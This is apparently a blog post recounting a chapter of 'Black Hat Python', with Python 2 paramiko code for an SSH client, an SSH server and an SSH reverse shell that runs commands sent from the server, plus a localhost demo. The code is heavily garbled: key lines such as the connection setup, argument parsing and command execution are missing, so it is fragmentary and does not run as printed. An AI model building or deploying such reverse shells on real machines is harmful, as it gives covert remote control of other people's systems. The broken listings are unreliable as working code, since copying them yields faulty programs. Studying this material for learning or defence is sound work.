Black Hat Python The Paramiko Module
Black Hat Python The Paramiko Module
Module
Sat 13 December 2014 Category Networking Tags Python paramiko SSH PyCrypto getopt threading socket Book
This is the second post based on my readings from Black Hat Python. Yesterday I talked about Python's socket
module and today I'm talking about the paramiko module.
Paramiko is awesome!!! It uses my dear PyCrypto to give us access to the SSH2 protocol, and it has a flexible and
easy to use API.
You are going to see it with your own eyes: in this post we will see code for SSH clients and servers, reverse shells,
and tunnel connections, and it will be smooth and fun (and remember that my source codes are available in
my github repo)!
Shall we start?
But before we start, make sure you have paramiko installed in our environment:
def usage():
print "Examples:"
print "ssh_client.py 129.49.76.26 -u buffy -p 22 -a killvampires -c pwd"
sys.exit()
Moving to the main function, we are going to use getopt module to parse the arguments. That's basically what the
main function does: parse the arguments, sending them to the ssh_client function:
import paramiko
import sys
import getopt
def main():
if not len(sys.argv[1:]):
usage()
IP = '0.0.0.0'
USER = ''
PASSWORD = ''
KEY = ''
COMMAND = ''
PORT = 0
try:
opts = getopt.getopt(sys.argv[2:],"p:u:a:i:c:", \
print str(err)
usage()
IP = sys.argv[1]
for t in opts:
if t[0] in ('-a'):
PASSWORD = t[1]
KEY = t[1]
COMMAND = t[1]
PORT = int(t[1])
USER = t[1]
else:
usage()
if USER:
if PORT:
if PASSWORD:
if KEY:
if COMMAND:
else:
usage()
if __name__ == '__main__':
main()
The magic happens in the ssh_client function, which performs the following steps:
1. Creates a paramiko ssh client object.
2. Checks if the key variable is not empty, and in this case, loads it. If the key is not found, the program sets the policy to
accept the SSH key for the SSH server (if we don't do this, an exception is raised saying that the server is not found in
known_hosts).
3. Makes the connection and creates a session.
4. Checks whether this section is active and runs the command we sent.
client = paramiko.SSHClient()
if key:
client.load_host_keys(key)
else:
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(4096)
Easy, huh?
As a note, this script is based in some of the paramiko demos and we specifically use the key from their demo files
(download here).
HOST_KEY = paramiko.RSAKey(filename='test_rsa.key')
USERNAME = 'buffy'
PASSWORD = 'killvampires'
class Server(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
if kind == 'session':
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
return paramiko.AUTH_SUCCESSFUL
return paramiko.AUTH_FAILED
Now, let's take a look at the main function, which does the following:
1. Creates a socket object to bind the host and port, so it can listen for incoming connections.
2. Once a connection is established (the client tried to connect to the server and the socket accepted the connection), it creates
a paramiko Transport object for this socket. In paramiko there are two main communication methods: Transport, which
makes and maintains the encrypted connection, and Channel, which is like a socket for sending/receiving data over the
encrypted session (the other three are Client, Message, and Packetizer).
3. The program instantiates a Server object and starts the paramiko session with it.
4. Authentication is attempted. If it is successful, we get a ClientConnected message.
5. The server starts a loop where it will keep getting input commands from the user and issuing it in the client. This is our
reversed shell!
import paramiko
import getopt
import threading
import sys
import socket
def main():
if not len(sys.argv[1:]):
sys.exit(0)
server = sys.argv[1]
ssh_port = int(sys.argv[2])
try:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((server, ssh_port))
sock.listen(100)
except Exception, e:
sys.exit(1)
Session = paramiko.Transport(client)
Session.add_server_key(HOST_KEY)
paramiko.util.log_to_file("filename.log")
server = Server()
try:
Session.start_server(server=server)
except paramiko.SSHException, x:
chan = Session.accept(10)
while 1:
try:
if command != 'exit':
chan.send(command)
else:
chan.send('exit')
session.close()
raise Exception('exit')
except KeyboardInterrupt:
session.close()
except Exception, e:
try:
session.close()
except:
pass
sys.exit(1)
if __name__ == '__main__':
main()
We are going to adapt the previous client script to receive these commands. All we need to do is to add a loop inside
the session:
import paramiko
import sys
import getopt
import subprocess
def usage():
print "Examples:"
sys.exit()
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print ssh_session.recv(1024)
while 1:
command = ssh_session.recv(1024)
try:
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
def main():
if not len(sys.argv[1:]):
usage()
IP = '0.0.0.0'
USER = ''
PASSWORD = ''
PORT = 0
try:
opts = getopt.getopt(sys.argv[2:],"p:u:a:", \
print str(err)
usage()
IP = sys.argv[1]
for t in opts:
if t[0] in ('-a'):
PASSWORD = t[1]
PORT = int(t[1])
USER = t[1]
else:
usage()
if USER:
if PORT:
if PASSWORD:
if __name__ == '__main__':
main()
$ ssh_server.py localhost 22
Now we can send any command from the server side to run in the client: we have a reversed shell!
[+] Listening for connection ...
[+] Authenticated!
Enter command: ls
filename.log
ssh_client.py
ssh_client_reverse.py
ssh_server.py
test_rsa.key
Enter command:
Awesomesauce!
Ah, by the way, all these scripts work not only in Linux but in Windows and Mac as well (so next time you are in a
lame Windows machine, no need to install Putty anymore =p ).